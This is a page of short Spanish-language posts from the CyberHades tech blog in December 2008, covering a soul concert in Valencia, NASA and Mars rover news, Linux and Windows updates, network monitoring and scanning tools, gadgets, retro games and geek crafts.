        El pasado 11 de diciembre, pudimos  disfrutar en la sala El Loco de Valencia de un fenómeno de la naturaleza: Eli “Paperboy” Reed y su banda The True Loves. Un “crío” de Massachusetts de sólo 25 años con una portentosa voz que nos recuerda a Sam Cooke, Otis Redding o James Brown.

        

        Lo de este chico no es una voz soul más a añadir a las que tanto circulan ahora por el mercado. Es mucho más: Un directo arrollador, un espectáculo, y es que canta como si estuviera poseído.

        Tuvimos la suerte de  cenar (F.M. y servidor) al lado de ellos. Así que no perdimos la oportunidad de inmortalizar el momento con los True Loves (Eli se nos escapó al terminar la cena).

        

        Como muestra, os dejo su actuación en la mítica sala Paradiso de Amsterdam, gracias a la fantástica página FABCHANNEL (no os lo perdáis).

        Aterrizaje en primera fila

        Impresionante … y parece que no es un fake

        10 maneras de reutilizar tu viejo iPod …

         

        Tengo un iPod mini 4Gb desde hace bastante tiempo y la verdad que este artículo me ha dado algunas ideas para no dejarlo abandonado en un cajón (aunque de momento hace las funciones de equipo de música en mi cuarto).

        * Usarlo como herramienta de presentaciones. Depende del modelo que tengas, obtendrás una pantalla con mayor o menor claridad  (algunos tienen salida a video también para conectarlo a un videoproyector). Puedes usar una aplicación Windows y Mac llamada Present it! para convertir cualquier PDF ó PowerPoint a un formato de diapositivas visibles en tu iPod.

        MMORPG.com, nos enseña que hay más juegos on line …

        

        Si te gustan lo juegos, y sobre todos los de Rol On-Line, no dejes de visitar la fantástica página:

        http://www.morpg.com/

        En ella encontrarás de todo, desde noticias sobre nuevos juegos, a guías de todos los MMORPG, artículos, críticas, etc … Dando un breve vistazo por la página lo primero que llama la atención es la cantidad de juegos que existen de rol y muchos de ellos tienen muy buena pinta.

        Nintendo ofrecerá streaming de video en la Wii

         

        De momento en Japón  y luego en EEUU, pero es un comienzo. La Wii es prácticamente nula a la hora de reproducir video, ya que el reproductor de cds incluido no permite ningún tipo de DVD ni CD con video (al menos sin modificarla). Este será un intento de recuperar el terreno perdido en el campo del video y la Nintendo Wii. Entre 100 y 400 wiipoints por video a alquilar para reproducir.

        La NASA quiere recuperar sus patitos de goma

        

        Nota: aún no es el día de los inocentes ;)

        ¿Patitos de goma de la NASA? pues sí, hace unos tres meses la NASA puso 90 de estos patitos de goma en agujeros del hielo en Groelandia para seguirlos y así ver la evolución del derretimiento del Ártico. Estos agujeros se llaman "moulins" y al colocarlos dentro, pueden ver si son capaces de llegar al mar siguiendo las corrientes creadas por el agua derretida dentro de estos moulins.

        La MiWii2

        

        Visto en:

        Engadget

        PD: no tengo más información, pero parece un videoconsola similar a la Wii.

        Las mejores 50 fotos de la NASA de todos los …

        

        Todas son realmente impresionantes.

        Para verlas:

        Top NASA Pictures of All Times

        Visto en:

        Air&Space Magazine

        Superorganismo submarino

        Video grabado a 770 metros de profundidad, muestra un organismo formado de otros muchos diferentes organismos. Un auténtico alien.

        Los 10 logros del 2008 de la NASA

        

        La Estación Espacial a punto de terminarse, la sonda Phoenix, el cohete Ares, el descubrimiento de exoplanetas, etc …

        Puedes ver la lista completa de los logros 2008 de la NASA en:

        http://www.noticiasdelcosmos.com/2008/12/top-10lo-mejor-de-la-nasa-en-2008.html

        PD: en mi opinión, faltan la Spirit y la Opportunity, que cada año repiten en este top. Marte no puede con ellas.

        Liberado el kernel de Linux 2.6.28

        

        El día de Navidad, se ha liberado el Kernel 2.6.68. Lo más destacado es la primera versión definitiva (no beta) del sistema de ficheros Ext4, sistema de gráficos GPU GEM que será una revolución gráfica para Linux, soporte para UWB, mejoras en la gestión de la memoria, mejoras en la gestión de redes, nuevas herramientas para tracear el funcionamiento del sistema y el arranque, mejoras para portátiles, etc ...

        En general, cualquier nueva versión del Kernel siempre implica mejoras generales en el funcionamiento y el rendimiento del equipo.

        The Dude 3.0, aplicación gratuita para monitorizar …

        

        Muy buena aplicación para administradores de sistemas para monitorizar tanto la disponibilidad de los dispositivos y servidores de la red, así como de los servicios disponibles. El programa The Dude 3.0 de la empresa Mikro Tik (que ya os contaremos más de ella) es una de las mejores soluciones, sobre todo por ser gratuita (lo que no quita la gran cantidad de funciones profesionales que incorpora).

        Una vez instalado realizará un escáner de toda la red (si tienes una red grande es mejor empezar por las subredes, ya que la información puede ser un poco confusa al principio ya que lo muestra prácticamente todo).  Luego veremos  una serie de carpetas (15 en total que se muestran en la parte izquierda de la aplicación) en las cuales podremos configurar cada una de las funciones que The Dude 3.0 puede realizar, como por ejemplo, las notificaciones, las subredes, los logs, dispositivos, etc ...

        NSA, Historia de la Seguridad en las …

         

        Y descargable en PDF desde aquí.

        Interesante documento donde podemos ver cual es la forma de actuar de la NSA frente a la seguridad en las comunicaciones desde 1971 a 1981. Aunque la documentación es de hace un tiempo, muchos de los aspectos son fácilmente adaptables a la época actual y posiblemente muchas metodologías se sigan aplicando. Habla sobre la public key (llave pública), DES, etc ... incluso al final hay un puzzle criptográfico para resolver.

        Muertes clásicas en los videojuegos

        Seguro que más de una te suenan ;)

        Visto en:

        http://amog.com/tech/gaming/oldschool-videogames/

        50 imágenes espectaculares de la Naturaleza

        

        Realmente alucinantes. Tomadas por 15 de los mejores fotógrafos, te aseguro que al verlas transmiten algo especial. Como comenta el autor original del post, menos mal que existen personas capaces de plasmar en fotografías las maravillas de la Naturaleza. Cada foto es una obra maestra.

        Animales, cascadas, paisajes, nubes, tormentas, animales marinos, etc … de todo en esta magnífica colección de fotos.

        Visto en:

        http://webecoist.com/2008/12/22/nature-environmental-photographers-photos/

        Juegos Retro on line (directo desde Microsiervos)

        

        Impresionante recopilación de juegos retros para jugar on line.

        La selección de juegos es realmente fantástica: Zelda, MegaMan, Metroid, BombJack, PacMan, Phoenix, Pong, Pole Position, etc … 

        Para jugar:

        http://amog.com/tech/gaming/oldschool-videogames/

        Visto en nuesta admirada:

        Microsiervos

        Post número 1.000 de CyberHades

        Queridos amigos/as de CyberHades:

        Este es el post número 1.000 y ha coincidido con el día de Nochebuena.

        Desde aquí queremos agradeceros a todos los que visitáis este humilde blog que no pretende otra cosa que manteneros (y mantenernos) informados de todo lo que nos gusta que circula por la red de redes.

        De nuevo gracias a todos y sobre todo Feliz Navidad.

        Como programar un videojuego

        

        Estos son algunos consejos y recursos por si te animas a crear un videojuego:

         

        El lenguaje de programación más usado es el C/C++, pero si estás comenzando, no estaría mal aprender Python. Puedes encontrar un tutorial aquí. Aprender Java o Flash estaría bien  sobre todo si quieres hacer juegos más pequeños y jugables con un navegador de Internet.

        Wing Desk, ala de avión mesa de escritorio

        

        Visto en:

        http://blog.makezine.com/archive/2008/12/airplane_wing_desk.html

        Híbrido DVD/Blu-Ray fabricado en Japón

        

        Genial invento, de esta forma podrás ver tus Blu-Ray en cualquier lector de DVD. Infinity Storage Media es la empresa que ha conseguido escribir en una doble capa los dos formatos. Cada reproductor localiza la capa legible y la reproduce. No sabemos cuando saldrá definitivamente al mercado pero será toda revolución.

        Visto en:

        http://www.ps3fanboy.com/2008/12/22/hybrid-dvd-blu-ray-disc-released-in-japan/

        Microsoft extiende la vida de XP

        

        Hasta mayo de 2009, justo cuando parece que se presentará el nuevo sistema operativo Windows 7 …

        Yo apuesto por otra ampliación ¿y vosotros?

        Visto en:

        http://barrapunto.com/articles/08/12/23/0032205.shtml

        Second Reality - Año 1993

        Entoavia se me ponen los pelillos de punta….

        Poned el volumen a tope!!!

        Para los que no sepais lo que es, mirad aqui.

        La ESA crea el Mapamundi con más resolución hasta …

         

        

        La resolución máxima es de 5965x3307 pixels y 300m de resolución.

        Descarga en JPG (5Mb)

        Descarga en TIFF (77Mb)

        Visto en:

        http://teleobjetivo.org/blog/el-mapamundi-de-mayor-resolucion.html

        Original:

        Agencia Espacial Europea

        The Call of Cthulhu, la película más fiel a H.P. …

        

        Esta película lleva ya algún tiempo pero realmente os la recomiendo ya que es de momento la única que mantiene la estética y la fidelidad a las historias del gran H.P. Lovecraft. Está rodada como si fuera de los años 20, usando un sistema llamado "Mythoscope" y la historia es realmente sensacional. Y lo mejor de todo, está hecha con pocos medios y por aficionados, en concreto The H.P. Lovecraft Society.

        Angry IP Scanner, para localizar equipos en tu red

        

        Windows

        Hemos hablado de varias herramientas para escanear redes, pero una de las que más hemos usado no la he mencionado. El Angry IPScanner es perfecto para localizar equipos en tu red y también para scanear puertos. No requiere ningún tipo de instalación y es muy sencilla de utilizar.

        Aparte, existen varios plugins para potenciar aún más el programa.

        Puedes descargar la aplicación y el código fuente desde aquí:

        El sitio de videos Linux

         

        La Linux Foundation tiene una web donde puedes encontrar videos muy interesantes de entrevistas y otros eventos relacionados con Linux.

        Eso sí, de momento en inglés y sin subtítulos (tarde o temprano seguro que llegarán).

        Web de Linux Video:

        http://video.linuxfoundation.org/

        Visto en:

        SlashDot

        Montaje del Halcón Milenario de LEGO, video en …

        Si quieres comprarlo:

        http://shop.lego.com/Product/?p=10179

        “Sólo” cuesta 550€ … de momento montaré el de papel ;)

        BitMeter II, monitor en tiempo real para el ancho …

        

        Cada vez es más importante estar atento al uso y limitaciones de nuestro ancho de banda, ya sea por el uso de terceras personas, limitaciones de nuestro ISP, problemas en el tráfico de paquetes, etc ...

        Esta pequeña aplicación te muestra con gráficos muy descriptivos tanto el tráfico de subida y de bajada actualizado cada segundo.  Todas las estadísticas puedes exportalas incluso a una hoja de cálculo por si necesitas realizar algún tipo de análisis más exahustivo.

        Cine y video en 3D para la PS3

        

        Sony intenta reinventar la rueda, pero bueno, si alguien puede hacerlo son ellos. Van a actualizar en 2009 su firmware para que la PS3 pueda renderizar imágenes las cuales aparecerán con un efecto 3D usando gafas especiales (como aquella fantástica película de El Señor de los Anillos de 1978 que tenía este formato).

        Ya veremos, pero puede ser espectacular jugar al un  juego en alta definición con efecto 3D …

        Publicadas las especificaciones el USB 3.0

        

        Puedes verlas desde:

        http://www.usb.org/developers/docs/

        Interesante ir viendo el funcionamiento sobre todo si quieres programar alguna aplicación.

        Como construir un Halcón Milenario de papel

        

        Si no tienes pelas para comprarte el espectacular Halcón Milenario que he visto en tiendas de juguetes (tienes una descripción detallada de PixFans de esta maravilla que cuesta casi 200€), siempre podrás hacerlo de papel:

        http://www.vectorvault.com/2008/12/18/free-vector-download-papercraft-millennium-falcon/

        Visto en:

        http://www.neatorama.com/2008/12/19/millennium-falcon-papercraft/

        Starcraft II, Informe de Batalla (video completo …

        

        Si quieres ver una partida completa de una batalla entre dos oponentes (Protoss contra Terrans) y así ver las nuevas características del Starcraft II en acción, no te pierdas este video:

        http://eu.starcraft2.com/features/battlereports/1.xml

        Simulador en tiempo real de los 7400 (y algo más)

        

        Windows, Linux y Mac

        Muy bueno para aprender el funcionamiento de la lógica de los chips 7400 en tiempo real (también incluye un microcontrolador 8051). La interfaz gráfica es muy buena y el resultado final es realmente espectacular.

        Ideal para la enseñanza.

        Página oficial:

        http://sol.gfxile.net/atanua/index.html

        Descarga de la aplicación:

        http://sol.gfxile.net/atanua/downloads.html

        Las series geek de mi infancia

        

        Hoy me han venido a la memoria algunas series que aún recuerdo un poco (era demasiado joven) pero que posiblemente influyeron en los gustos que tengo actualmente.

        Estas son algunas de las menos conocidas, dejando aparte Mazinger Z y otras:

        Comos, de Carl Sagan. Impresionante, si no la has visto, ya tardas en buscártela. La mejor serie de divulgación científica jamás creada.

        Los siete de Blake. Quizás la primera serie del espacio que he visto. No la recuerdo demasiado bien pero sí recuerdo los créditos un poco la trama.

        Explícame: La Electricidad

        

        Excelente y bastante completo artículo sobre la electricidad, visto en la fantástica web Explícame.

        Nos os lo perdáis (también os recomendamos una visita a la web).

        Visto en:

        http://www.explicame.org/content/view/44/1/

        Guionistas de los Simpsons, Futurama y Padre de …

        

        Machinima se refiere a la animación usando motores gráficos de videojuegos, siendo esta creación en tiempo real.

        Estos guionistas afirman que puede ser el futuro de la comedia en los nuevos formatos.

        Veremos que sale, pero tiene buena pinta.

        Si quieres más información, esta revista está especializada en el tema:

        http://www.machinimag.com/

        Si quieres ver algunos videos, entra en el canal de Youtube:

        http://www.youtube.com/user/machinima

        Guía para construir un superordenador con una (o …

         

        Una guía para construir tu cluster de PS3 y crear un supercomputador usando la maravillosa videoconsola.

        Está basado en un Core Fedora  (versión 8) de licencia “open source”.

        Explicado paso a paso con capturas de pantalla, como requisitos principales te pide:

        • 1 PC para crear las imágenes
        • 1 disco DVD
        • 1 disco CD
        • 1 Pendrive
        • 1 PS3 o más para construir tu cluster
        Así que ya sabes, si quieres construir su superordenador con una PS3 o con varias, sigue los pasos de este excelente manual.

        Visto en:

        Nueva revista Linux, Papirux

        

        Contenido (entre otros artículos):

        • La nueva cara de la GPL
        • El software libre y el mundo moderno
        • Juegos: Circux Linux!
        • Instalando Ubuntu 8.04
        Wiki del proyecto:

        http://doc.ubuntu-es.org/Proyecto:Papirux

        Puedes descargarla desde:

        http://www.papirux.org/

        Visto en:

        http://www.ubuntu-es.org/index.php?q=node/100922

        Nuestro agradecimiento especial a los creadores de esta revista por el gran esfuerzo que supone, ánimo y a seguir adelante.

        Desde CyberHades estaremos atentos a nuevos números.

        Toshiba anuncia 512Gb SSD para 2009

        

        Saldrán el año que viene, de 512Gb, 256Gb y 128Gb. 

        Atentos a esto porque será una auténtica revolución.

        Discos SSD, Discos de Estado Sólido

        Visto en:

        http://www.engadget.com/2008/12/18/toshiba-announces-512gb-ssd-other-smaller-ssds/

        Ya hablamos en CyberHades sobre estos discos SSD.

        Controlando servos con el Wii nunchuck

        Además está creado usando el OpenHardware Arduino.

        Al final todos usaremos la Wii para todo menos para jugar ;)

        Todos los detalles, esquemas, código e instrucciones en:

        http://www.instructables.com/id/How_to_Control_Your_Robot_Using_a_Wii_Nunchuck_an/

        Suerte mañana, M+ ;)

        Amigos de CyberHades, tengo que desear suerte en la presentación de su tésis a una amiga nuestra que mañana la leerá en Madrid.

        Mucha suerte M+

        Spirit sobrevive a una tormenta de polvo y la …

        

        ¿Creías que ya no funcionaban la Spirit y la Opportunity?

        Pues aquí están, las mejores sondas jamás construidas (y más rentables relación precio - duración de la misión) de la historia de la exploración espacial.

        Lo último que hemos leido es que la Spirit ha sobrevivido a una gran tormenta de polvo que ha provocado que durante cuatro días no se pudiera comunicar con la Tierra debido a que el polvo ha tapado los paneles solares y por lo tanto no tenía energía suficiente. Al no poder comunicarse con la Tierra, la Spirit tiene un protocolo de actuación para ese tipo de casos de emergencia en los cuales predomina la seguridad ante todo del rover. Con la información que le suministraban desde el espacio la Mars Reconnaissance Orbiter (usando un software de reconocimento de imágenes llamado MARCI) y las órdenes de la Tierra, se buscó un lugar seguro y entró en un modo de ahorro de energía. En este modo el rover sólo hacía dos cosas al día, analizar el estado de la batería y el nivel de polvo en la atmósfera de Marte.

        The Spotnicks, My Bonnie

        Geniales, The Spotnicks, de los primeros geeks de la música ;)

        Recomendado por Koky.

        Orbita Mouse

        Parece una buena idea.

        http://www.engadget.com/2008/12/15/cyber-sports-orbita-mouse-is-a-revolution/

        Importante fallo de vulnerabilidad en Microsoft …

        

        Afecta todas las versiones de Windows y de Internet Explorer, y aún no hay parche.

        http://www.microsoft.com/technet/security/advisory/961051.mspx

        Visto en:

        http://barrapunto.com/articles/08/12/16/1812207.shtml

        Actualización: ya ha salido un parche para esta vulnerabilidad, puedes descargarlo desde:

        http://www.microsoft.com/technet/security/bulletin/ms08-078.mspx

        Así da gusto currá

        

        No os perdáis las imágenes vistas en mostfunnypictures.com. Se trata de medio centenar de fotos que muestran las entrañas de GOOGLE y los privilegiados espacios que ocupan sus trabajadores. En apenas un siglo, hemos pasado de bajar a la mina con un pico y un canario a trabajar rodeados de sillones de masajes y billares. Bueno, no todos…

        Caca nene, eso no se toca. Adaptación al cine de …

         

        He visto en la web de Picando Código:

        Obras de Isaac Asimov al Cine - ¿buena noticia?

        y me ha dejado perplejo, otra adaptación más al cine …

        Sobre todo viendo el precedente de la horrible y asquerosa “Yo Robot”, destrozando una de las mejores historias del genio Asimov.

        Otra adaptación que no se tiene que hacer, así que para nuestra sección…

        Digamos todos a la vez: “CACA NENE, ESO NO SE TOCA”

        El libro del nmap

        

        (Trinity en Matrix: Reloaded usando el nmap)

        Todos conocemos el fabuloso escáner de puertos nmap, pues su autor ha publicado un libro con todos los detalles que saldrá en enero del 2009, pero puedes ver una versión gratuita (de más o menos la mitad del libro) en:

        http://nmap.org/book/toc.html

        Guía de referencia en español:

        http://nmap.org/man/es/

        Web del producto:

        http://nmap.org/

        Para reservarlo en Amazon:

        http://www.amazon.com/dp/0979958717?tag=secbks-20

        Convertir un disco externo en un NAS

        

        He visto este fantástico gadget para convertir un disco duro externo USB (o un pendrive) en un NAS. Por un lado tienes un puerto USB y por el otro un puerto de red Ethernet. También funciona como un servidor de impresión, un ftp, cliente bittorrent y servidor UPnP.

        El coste del dispositivo es bastante menor que el coste de un NAS, unos 55$.

        Visto en:

        http://blogs.zdnet.com/soho-networking/?p=322

        Página oficial de producto:

        Jugando con el puerto paralelo

        

        El siguiente proyecto es bastante divertido y además aprenderás un poco más sobre el funcionamiento del puerto paralelo. Con un conector de impresora Centronics y un microcontrolador ATTiny2313 podrás enviar mensajes directamente al display de la impresora sin tenela conectada a un PC. 

        A grandes rasgos, el funcionamiento es el siguiente, esperamos a que la señal de “busy” este a cero, enviamos el caracter que queremos mostrar por los pines de datos y luego pasamos a 0 la señal “strobe” durante un milisegundo.

        Vida útil de datos digitales.

        Cuando apareció el CD y posteriormente el DVD, todos hemos leído información acerca de la longevidad de dichos soportes, garantizando la posibilidad de acceder a nuestros datos pasados entre 50 y 100 años (excluyendo, por supuesto, marcas dudosas, como una que empieza por “prin” y termina en “co” que hace tiempo sufrí en carne propia).

        El caso es que esa cifra, que actualmente se nos antoja segura, palidece ante el tiempo que han perdurado algunos libros antiguos.

        Top 10 países por densidad de población ... de …

        

        Robots industriales por cada 10.000 trabajadores.

        Japón, por supuesto, lidera el top, pero lo más sorprendente es el puesto de España, casi igual que Estados Unidos, vaya sorpresa.

        Visto en:

        http://www.neatorama.com/2008/12/13/top-10-countries-by-robot-population-density/

        El simulador físico de Internet (Microsiervos)

         

        Gracias a nuestra web favorita Microsiervos hemos visto este increible simulador mecánico del funcionamiento de Internet con bolas en vez de bits y pistas en vez de cables. Está en el Museo de la Ciencia de Tokio.

        Podéis verlo en Microsiervos:

        http://www.microsiervos.com/archivo/internet/simulador-fisico-internet.html

        Fuente original:

        http://blog.ljou.es/2008/12/internet-en-bolas/

        Muy bueno para aprender el funcionamiento de Internet.

        Recortables de ordenadores, consolas, cohetes y …

        

        Nos gustan mucho los recortables geek, hasta ahora habíamos visto casi de todo, pero estos vistos en la web de Teleobjetivo son espectaculares:

         

        Consolas:

        • SEGA Megadrive
        • Nintendo 64
        • PlayStation 2
        • PlayStation 3
        • XBox 360
         

        Ordenadores:

        • Sinclair ZX-81
        • Macintosh classic
        • Mac Mini
        • IBook
         

        Cohetes Espaciales:

        Todos los modelos en:

        Windows 7 vs Vista

         

        Un análisis comparativo (benchmark) de Windows 7 frente a Vista.

        Las pruebas realizadas han sido:

        Test de CPU

        Test de disco duro

        Test de Memoria

        Test de gráficos 3D y 2D

        CD/DVD test

        Los resultados son:

        • Windows 7 build 6956 Puntuación: 1007.5
        • Vista 32-bit RTM Puntuación: 1001.3
        • Vista 32-bit SP1 Puntuación: 986.6

        Windows 7 "parece" más rápido (aunque no mucho) respecto a Vista.

        Ampliando un superordenador con tarjetas gráficas …

         

        Las GPU de las tarjetas gráficas están diseñadas especificamentes para cálculo de gráficos. Esto implica que son óptimas para operaciones de coma flotante que son las predominantes en gráficos 3D. También la arquitectura de una GPU es diferente a una CPU, pero existe un modelo de programación para las GPU que intenta adaptar el diseño de las mismas para que puedan calcular otro tipos de algoritmos. Este modelo se programación se llama GPGPU. ¿Porqué se usan? pues básicamente por el precio. Una tarjeta gráfica es mucho más barata que comprarte una CPU completa y además se comportan mucho mejor a la hora de realizar cálculos en paralelo.

        Star Wars, The Old Republic, el nuevo MMO de …

         

        Un pequeño avance con entrevistas, está en inglés pero contiene imágenes del juego.

        Una de las mejores cosas que tendrá es que no habrá cuotas mensuales, se basará en micropagos … no sé realmente que será peor, ya que micropagos implica “si quieres esto paga”.

        Página oficial de los desarrolladores:

        http://www.bioware.com/games/knights_old_republic/

        Web oficial del juego:

        http://www.swtor.com/

        Esperemos que sea mejor que el Star Wars Galaxies, el cual no tuvo demasiada aceptación.

        Montando un soldador de calor frío

         

        NOTA: ante todo, cuidado con la electricidad en este montaje. Ni el autor ni nosotros somos responsables de las consecuencias.

        Un soldador normal de electrónica, lo que hace es calentar el hierro de su estructura para derretir el estaño. El problema es que a veces, el soldador tiene demasiada potencia y puede derretir también los cables y dañar los componentes alrededor del punto en el cual queremos soldar. Con estos soldadores de calor frío, el calor no se expande y se concentra en el punto de soldadora, evitando daños a otros componentes y al elemento a soldar.

        Todos los números de Popular Science y Popular …

        

        Desde 1870 a el último que he visto que es de febrero de 2008.

        POPULAR SCIENCE

        http://books.google.com/books?id=9CkDAAAAMBAJ

         

        

         

        Desde 1905 hasta el último publicado a día de hoy, diciembre de 2005.

        POPULAR MECHANICS

        http://books.google.com/books?id=F9kDAAAAMBAJ

        Excelente biblioteca técnico-científica para estudiar.

        Regalo geek, estrellas ninja magnéticas

        

        Yo quiero una, vaya efecto que puede dar cuando se arrojan contra el frigorífico XD

        Visto en:

        http://www.neatorama.com/2008/12/12/ninja-throwing-star-refrigerator-magnet/

        Se compran en:

        http://www.epauletshop.com/servlet/the-92/Secret-Mark-Throwing-Star/Detail

        Detectado vapor de agua en un exoplaneta

        

        Es demasiado caliente pero es un comienzo, el agua siempre puede ser un indicio de posible vida.

        Ya llevamos una buena colección de exoplanetas y prácticamente hemos encontrado de todo, y eso que sólo podemos ver cierto tipo de ellos, la mayoría gigantes gaseosos (como Júpiter), que están cerca de la órbita de una estrella. ¿Y los que aún no podemos ver que son del tamaño de la Tierra? … nos queda mucho por ver y descubrir.

        Las 25 mejores alternativas open source al …

        

        No viene mal recordar que existen aplicaciones gratuitas que pueden hacerte ahorrar un dinero en tu empresa.

        En esta lista puedes encontrar programas como:

        Open Office, para editor de textos, hojas de cálculo, etc …

        MySQL para bases de datos

        Linux para software de servidores

        Digiun para telefonía

        Pero la lista no termina aquí, podrás encontrar software libre para otros sectores menos conocidos en la empresa como por ejemplo Help Desk, Proyectos, Videoconferencia y muchos más.

        Robo Dog

        Visto en:

        http://www.botjunkie.com/2008/12/10/robodogoflameocycle/

        Extrayendo imágenes directamente desde el cerebro

        

        Alucinante, visto en Microsiervos:

        http://www.microsiervos.com/archivo/ciencia/extrayendo-imagenes-cerebro.html

        Noticia original:

        http://www.pinktentacle.com/2008/12/scientists-extract-images-directly-from-brain/

        Jugando al Warcraft III con pantalla táctil

         

        Ya lo tengo instalado en mi Kohjinsha, a ver si estas vacaciones lo pruebo ya que parece una buena forma de jugar.

        Visto en:

        http://ecetia.com/2008/12/10/jugando-a-warcraft-iii-con-pantalla-multitactil/

        Caca nene, eso no se toca. Patético trailer de …

         

        Voy a inagurar una nueva sección y categoría. La voy a llamar “Caca nene, eso no se toca” y así vamos a calificar todas las cagadas que están por venir o ya están entre nosotros del mundo de la adaptación al cine de obras maestras de la Ciencia Ficción.

        Si es que no escarmientan, se les acaban las buenas ideas en Hollywood y entonces meten mano allí donde ven que hay seguidores o un público potencial.

        Agujero Negro en el centro de la Vía Láctea, …

        

        Se creía y se especulaba sobre su existencia, ahora se ha confirmado. Este agujero negro tendría unas cuatro millones de veces más masa que nuestro Sol, increiblemente grande respecto a otros agujeros negros observados. Se llama Sagitario A*, y se ha descubierto gracias al efecto que causa sobre las estrellas que giran alrededor de él.

        Después de este gran descubrimiento, se empieza a creer que los agujeros negros habitan en el centro de casi todas las galaxias conocidas.

        Lugares abandonados en la Antártida

        

        Fantásica colección de fotos de lugares abandonados en el continente helado.

        http://www.darkroastedblend.com/2008/12/ghosts-of-antarctica-abandoned-stations.html

        Visto en:

        http://www.neatorama.com/2008/12/10/the-ghosts-of-antarctica/

        Pastel cámara Nikon

        

        Que currado madre mía, y tiene hasta buena pinta …

        Estatuas de los mejores jugadores en Warhammer on …

        

        Warhammer MMORPG

        Los mejores 10 jugadores de cada servidor tendrán su estatua virtual en los lugares más céntricos de las principales ciudades del juego.

        Una idea muy original y divertida.

        Visto en:

        http://www.offworld.com/2008/12/warhammer-online-to-carve-stat.html

        http://www.boingboing.net/2008/12/09/warhammer-to-erect-v.html

        DShutdown, aplicación para apagar el equipo y …

        

        Muy buena utilidad para apagar y encender equipos tanto locales como remotos con un montón de opciones adicionales. Puedes apagar el equipo cuando una aplicación termine, según en ancho banda (ideal para apagarlo cuando un programa termina de descargar algo), según el uso de CPU y muchas otras más opciones.

        Puedes descargarlo desde aquí.

        Página original:

        http://dimio.altervista.org/eng/

        Ruta geek de Valencia

        
        Ver mapa más grande

        Hace poco en CyberHades nos hicimos eco de una genial guía geek de Londres, y entonces se me ocurrió hacer una pequeña guía geek de Valencia.  LLevo varios años viviendo en esta increible ciudad, y cada día encuentro nuevos amigos y nuevos lugares que visitar. Esta pequeña guía geek es de sólo algunos de los lugares que pienso te pueden interesar, por supuesto estoy seguro que hay muchos más, por eso te invito a participar y añadir algún otro.

        World of Goo, jugando con la gravedad

        

        World of Goo es uno de los mejores juegos del 2008 para las plataformas Wii (Wii ware), PC, Mac OS y Linux (Beta). El objetivo del juego es pasar cada nivel creando estructuras para llegar a una tubería que representa la salida. Para crearlas tienes unas bolas llamadas "goo" para crear la estructura que mejor se adapte al terreno, donde puedes encontrar colinas, barrancos, etc ... Hay muchos tipos de bolas goo que con diferentes habilidades, las cuales irán apareciendo a medida que avances en el juego. Existe un modo bonus donde tienes que competir para crear la torre más alta usando las bolas goo que has ido recopilando durante el juego (compites con otros jugadores online también).

        HD Hacker, aplicación para hacer backup de …

        

        Windows

        Una aplicación un poco especial, ya que además de hacer copias de seguridad de los típicos sectores de arranque, también lo puede hacer los sectores que especifiques. Una buena utilidad ya que el primer paso para hacer una copia de tu sistema es tener un backup del sector de arranque o master boot record, si no quieres tener que volver a particionar todas tus unidades.

        Puedes descargarla desde aquí:

        Cthulhu Santa

        

        Visto en:

        http://www.neatorama.com/2008/12/08/needle-felted-cthulhu-santa/

        Google podría estar preparando su propio sistema …

        

        Analizando el tráfico de internet se ha podido observar como ciertos usuarios con IP’s de la sede de Google emplean un sistema operativo “oculto”. Según la información presentada por Net Applications existe un 11% de empleados de Google.com que emplean un sistema operativo que los sensores de esta compañía no son capaces de detectar.

        Según Clay Ryder, presidente de The Sageza Group, podrían estar trabajando en la infraestructura una aplicación para construir redes, y no en un OS, pero no dejan de ser especulaciones.

        Trabajando con relés

         

        Los relés son una parte fundamental de la electrónica (sobre todo la de potencia) ya que actuán como interruptores electromagnéticos que pueden controlar un circuito de salida de mucha más potencia que el circuito de entrada. Es decir, puedes por ejemplo, controlar unas luces de una casa desde un ordenador, cuando la el voltaje de la salida del ordenadores es de unos 5v y el del circuito de las luces de 220v.

        Windows Scripting, automatizando de manera …

         

        Llega un momento que los ficheros BAT se quedan cortos para realizar funciones avanzadas en Windows, y tienes que dar el salto a Windows Script Host. Los programa se crean como los BAT, en un fichero de texto y luego se pueden ejecutar con JScript (.JS y .JSE) o también con VBScript (.VB y .VBA). Si usas el formato de Windows Script File, .WSF, puedes incluso combinar ambos (o incluso otros como Perl).

        Galería y especificaciones de ordenadores …

        

        Genial galería con especificaciones de cada equipo y fotografías de ordenadores totalmente obsoletos pero que seguro que más de uno querríamos tener aún en casa.

        Yo he alucinado, he visto ordenadores que no tenía ni idea que existieron.

        Ideal para nostálgicos ;)

        http://oldcomputers.net/pics.html

        Visto en:

        http://www.boingboing.net/2008/12/06/gallery-of-obsolete.html

        Proyectos para tus discos usb (pendrives)

         

        Esto nos gusta , experimentar con los pendrives que cada vez más se acumulan en nuestra mesa y no sabemos qué hacer con ellos. En Gizmodo nos ofrecen varias opciones realmente espectaculares, así que saca todos los discos usb que tengas en los cajones y vamos a darles un poco de vidilla ;)

         

        1. Crear una llave física para el arranque de nuestro PC. Windows Vista lleva incluido un sistema para hacer que el sistema no arranque hasta que no insertas un disco usb que actúa como llave. Es una opción genial de seguridad, pero es un poco complicado hacerlo (y peligroso si pierdes el USB) ya que para ello se utiliza BitLocker (software de encriptación de Microsoft) el cual requiere hacer varios cambios (encriptar) sobre el disco duro y sus particiones. Si te atreves a hacerlo, el resultado es espectacular, ya que el sistema además de estar totalmente encriptado y seguro no arrancará si no insertas la llave usb correspondiente. Puedes ver todo el proceso aquí.

        Creado el primer transistor superconductor

        

        (Foto del primer transistor)

        Uno de los logros de la ciencia que hace tiempo venían buscando físicos de todo el mundo,  ya está aquí. Y esto promete ser una gran revolución en los ordenadores, ya que la velocidad de proceso de los mismos puede evolucionar y aumentar de forma espectacular.

        El tipo de transistor superconductor conseguido es un FET, transistor de efecto de campo, muy usado en aparatos digitales. Recuerda que el transistor es el componente básico de los microprocesadores.

        Número 19 revista gratuita (In)Secure, magazine de …

        

        Ya está aquí un nuevo número de una de nuestras revistas favoritas sobre seguridad gratuitas, (IN) Secure.

        Puedes descargarla directamente desde aquí.

        El contenido de este número:

      • The future of AV: looking for the good while stopping the bad
      • Eight holes in Windows login controls
      • Extended validation and online security: EV SSL gets the green light
      • Interview with Giles Hogben, an expert on identity and authentication technologies working at ENISA
      • Web filtering in a Web 2.0 world
      • RSA Conference Europe 2008
      • The role of password management in compliance with the data protection act
      • Securing data beyond PCI in a SOA environment: best practices for advanced data protection
      • Three undocumented layers of the OSI model and their impact on security
      • Interview with Rich Mogull, founder of Securosis
      • Y mucho más …

      Caja fuerte hecha con LEGO Mindstorm

       

      Visto en:

      http://www.fayerwayer.com/2008/11/caja-fueret-hecha-de-lego/

      Windows Vista SP2 Beta disponible para descargar

      

